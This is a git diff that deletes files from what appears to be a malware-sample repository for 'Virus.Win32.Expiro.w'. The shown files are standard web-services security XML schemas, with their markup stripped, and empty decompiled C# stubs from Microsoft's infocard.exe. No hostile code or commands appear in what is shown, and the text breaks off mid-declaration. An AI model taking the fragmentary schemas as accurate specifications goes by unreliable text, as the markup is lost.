Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - - - 10.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy.xsd deleted file mode 100644 index 8eb7d416..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-securitypolicy.xsd +++ /dev/null @@ -1,979 +0,0 @@ - - - - - - - - - - - - 5.1.1 SignedParts Assertion - - - - - - - 5.2.1 EncryptedParts Assertion - - - - - - - - - - - - - - - - - - - - - - 5.1.2 SignedElements Assertion - - - - - - - 5.2.2 EncryptedElements Assertion - - - - - - - 5.3.1 RequiredElements Assertion - - - - - - - - - - - - - - - - - 6.1 Token Inclusion - - - - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - 6.3.1 UsernameToken Assertion - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - - - - - - - - - - - - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - 6.3.2 IssuedToken Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - 6.3.3 X509Token Assertion - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - 6.3.4 KerberosToken Assertion - - - - - - - - 6.3.5 SpnegoContextToken Assertion - - - - - - - - - - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - 6.3.6 SecurityContextToken Assertion - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - - - - - - - - - - - - - 6.3.7 SecureConversationToken Assertion - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - 6.3.8 SamlToken Assertion - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - 6.3.9 RelToken Assertion - - - - - - - - 6.3.10 HttpsToken Assertion - - - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - 8.1 AlgorithmSuite Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - 8.2 Layout Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - - 8.3 TransportBinding Assertion - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.4 SymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - 8.5 AsymmetricBinding Assertion - - - - - - - - - - - - - - - - - 9.1 SupportingTokens Assertion - - - - - - - - - - - - - 9.2 SignedSupportingTokens Assertion - - - - - - - - - - - - - 9.3 EndorsingSupportingTokens Assertion - - - - - - - - - - - - - 9.4 SignedEndorsingSupportingTokens Assertion - - - - - - - - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - 10.1 Wss10 Assertion - - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - 10.2 Wss11 Assertion - - - - - - - - - 11.1 Trust10 Assertion - - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - - - 11.1 Trust10 Assertion - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust-1/3.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust-1/3.xsd deleted file mode 100644 index dff1c9b3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust-1/3.xsd +++ /dev/null @@ -1,444 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:Claims' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - <xs:element ref='wst:TokenType' minOccurs='0' /> - <xs:element ref='wst:RequestType' /> - <xs:element ref='wst:RequestedSecurityToken' minOccurs='0' /> - <xs:element ref='wsp:AppliesTo' minOccurs='0' /> - <xs:element ref='wst:RequestedAttachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedUnattachedReference' minOccurs='0' /> - <xs:element ref='wst:RequestedProofToken' minOccurs='0' /> - <xs:element ref='wst:Entropy' minOccurs='0' /> - <xs:element ref='wst:Lifetime' minOccurs='0' /> - <xs:element ref='wst:Status' minOccurs='0' /> - <xs:element ref='wst:AllowPostdating' minOccurs='0' /> - <xs:element ref='wst:Renewing' minOccurs='0' /> - <xs:element ref='wst:OnBehalfOf' minOccurs='0' /> - <xs:element ref='wst:Issuer' minOccurs='0' /> - <xs:element ref='wst:AuthenticationType' minOccurs='0' /> - <xs:element ref='wst:Authenticator' minOccurs='0' /> - <xs:element ref='wst:KeyType' minOccurs='0' /> - <xs:element ref='wst:KeySize' minOccurs='0' /> - <xs:element ref='wst:SignatureAlgorithm' minOccurs='0' /> - <xs:element ref='wst:Encryption' minOccurs='0' /> - <xs:element ref='wst:EncryptionAlgorithm' minOccurs='0' /> - <xs:element ref='wst:CanonicalizationAlgorithm' minOccurs='0' /> - <xs:element ref='wst:ProofEncryption' minOccurs='0' /> - <xs:element ref='wst:UseKey' minOccurs='0' /> - <xs:element ref='wst:SignWith' minOccurs='0' /> - <xs:element ref='wst:EncryptWith' minOccurs='0' /> - <xs:element ref='wst:DelegateTo' minOccurs='0' /> - <xs:element ref='wst:Forwardable' minOccurs='0' /> - <xs:element ref='wst:Delegatable' minOccurs='0' /> - <xs:element ref='wsp:Policy' minOccurs='0' /> - <xs:element ref='wsp:PolicyReference' minOccurs='0' /> - <xs:any namespace='##other' processContents='lax' minOccurs='0' maxOccurs='unbounded' /> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - The RequestSecurityTokenCollection (RSTC) element is used to provide multiple RST requests. - One or more RSTR elements in an RSTRC element are returned in the response to the RequestSecurityTokenCollection. - - - - - - - - - - - - The <wst:RequestSecurityTokenResponseCollection> element (RSTRC) MUST be used to return a security token or - response to a security token request on the final response. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust.xsd deleted file mode 100644 index 0bf1518f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ws-trust.xsd +++ /dev/null @@ -1,451 +0,0 @@ - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Actual content model is non-deterministic, hence wildcard. The following shows intended content model: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xenc-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xenc-schema.xsd deleted file mode 100644 index 534b29a7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xenc-schema.xsd +++ /dev/null @@ -1,137 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xml.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xml.xsd deleted file mode 100644 index c63b7982..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xml.xsd +++ /dev/null @@ -1,135 +0,0 @@ - - - - - - See http://www.w3.org/XML/1998/namespace.html and - http://www.w3.org/TR/REC-xml for information about this namespace. - - This schema document describes the XML namespace, in a form - suitable for import by other schema documents. - - Note that local names in this namespace are intended to be defined - only by the World Wide Web Consortium or its subgroups. The - following names are currently defined in this namespace and should - not be used with conflicting semantics by any Working Group, - specification, or document instance: - - base (as an attribute name): denotes an attribute whose value - provides a URI to be used as the base for interpreting any - relative URIs in the scope of the element on which it - appears; its value is inherited. This name is reserved - by virtue of its definition in the XML Base specification. - - id (as an attribute name): denotes an attribute whose value - should be interpreted as if declared to be of type ID. - The xml:id specification is not yet a W3C Recommendation, - but this attribute is included here to facilitate experimentation - with the mechanisms it proposes. Note that it is _not_ included - in the specialAttrs attribute group. - - lang (as an attribute name): denotes an attribute whose value - is a language code for the natural language of the content of - any element; its value is inherited. This name is reserved - by virtue of its definition in the XML specification. - - space (as an attribute name): denotes an attribute whose - value is a keyword indicating what whitespace processing - discipline is intended for the content of the element; its - value is inherited. This name is reserved by virtue of its - definition in the XML specification. - - Father (in any context at all): denotes Jon Bosak, the chair of - the original XML Working Group. This name is reserved by - the following decision of the W3C XML Plenary and - XML Coordination groups: - - In appreciation for his vision, leadership and dedication - the W3C XML Plenary on this 10th day of February, 2000 - reserves for Jon Bosak in perpetuity the XML name - xml:Father - - - - - This schema defines attributes and an attribute group - suitable for use by - schemas wishing to allow xml:base, xml:lang or xml:space attributes - on elements they define. - - To enable this, such a schema must import this schema - for the XML namespace, e.g. as follows: - <schema . . .> - . . . - <import namespace="http://www.w3.org/XML/1998/namespace" - schemaLocation="http://www.w3.org/2001/03/xml.xsd"/> - - Subsequently, qualified reference to any of the attributes - or the group defined below will have the desired effect, e.g. - - <type . . .> - . . . - <attributeGroup ref="xml:specialAttrs"/> - - will define a type which will schema-validate an instance - element with any of those attributes - - - - In keeping with the XML Schema WG's standard versioning - policy, this schema document will persist at - http://www.w3.org/2004/10/xml.xsd. - At the date of issue it can also be found at - http://www.w3.org/2001/xml.xsd. - The schema document at that URI may however change in the future, - in order to remain compatible with the latest version of XML Schema - itself, or with the XML namespace itself. In other words, if the XML - Schema or XML namespaces change, the version of this document at - http://www.w3.org/2001/xml.xsd will change - accordingly; the version at - http://www.w3.org/2004/10/xml.xsd will not change. - - - - - - Attempting to install the relevant ISO 2- and 3-letter - codes as the enumerated possible values is probably never - going to be a realistic possibility. See - RFC 3066 at http://www.ietf.org/rfc/rfc3066.txt and the IANA registry - at http://www.iana.org/assignments/lang-tag-apps.htm for - further information. - - - - - - - - - - - - - - - See http://www.w3.org/TR/xmlbase/ for - information about this attribute. - - - - - - See http://www.w3.org/TR/xml-id/ for - information about this attribute. - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xmldsig-core-schema.xsd b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xmldsig-core-schema.xsd deleted file mode 100644 index 1f93cdfd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xmldsig-core-schema.xsd +++ /dev/null @@ -1,310 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/AssemblyInfo.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/AssemblyInfo.cs deleted file mode 100644 index eefabe39..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/AssemblyInfo.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using System.Reflection; -using System.Resources; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: SatelliteContractVersion("3.0.0.0")] -[assembly: AssemblyFileVersion("3.0.4506.2152")] -[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] -[assembly: NeutralResourcesLanguage("en-US")] -[assembly: AssemblyInformationalVersion("3.0.4506.2152")] -[assembly: ComVisible(false)] -[assembly: AssemblyCompany("Microsoft Corporation")] -[assembly: AssemblyDefaultAlias("infocard.exe")] -[assembly: AssemblyDescription("infocard.exe")] -[assembly: AssemblyTitle("infocard.exe")] -[assembly: CLSCompliant(false)] -[assembly: AssemblyProduct("Microsoft® .NET Framework")] -[assembly: AssemblyKeyFile("f:\\dd\\Tools\\devdiv\\EcmaPublicKey.snk")] -[assembly: AssemblyDelaySign(true)] -[assembly: AssemblyVersion("3.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/BrowserNavConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/BrowserNavConstants.cs deleted file mode 100644 index 807021ec..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/BrowserNavConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BrowserNavConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum BrowserNavConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CallMode.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CallMode.cs deleted file mode 100644 index eb0078cc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CallMode.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CallMode -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum CallMode -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CommandStateChangeConstants.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CommandStateChangeConstants.cs deleted file mode 100644 index ab4ca114..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CommandStateChangeConstants.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: CommandStateChangeConstants -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum CommandStateChangeConstants -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HDC__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HDC__.cs deleted file mode 100644 index 9b9ea0bc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HDC__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HDC__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[NativeCppClass] -[DebugInfoInPDB] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HDC__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HINSTANCE__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HINSTANCE__.cs deleted file mode 100644 index 5751584a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HINSTANCE__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HINSTANCE__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(65)] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HINSTANCE__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HWND__.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HWND__.cs deleted file mode 100644 index aebfa04e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HWND__.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: HWND__ -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[MiscellaneousBits(65)] -[DebugInfoInPDB] -[NativeCppClass] -[StructLayout(LayoutKind.Sequential, Size = 4)] -internal struct HWND__ -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IGNOREMIME.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IGNOREMIME.cs deleted file mode 100644 index 298ebdc5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IGNOREMIME.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IGNOREMIME -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum IGNOREMIME -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMAGE_AUX_SYMBOL_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMAGE_AUX_SYMBOL_TYPE.cs deleted file mode 100644 index c4bb6855..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMAGE_AUX_SYMBOL_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: IMAGE_AUX_SYMBOL_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum 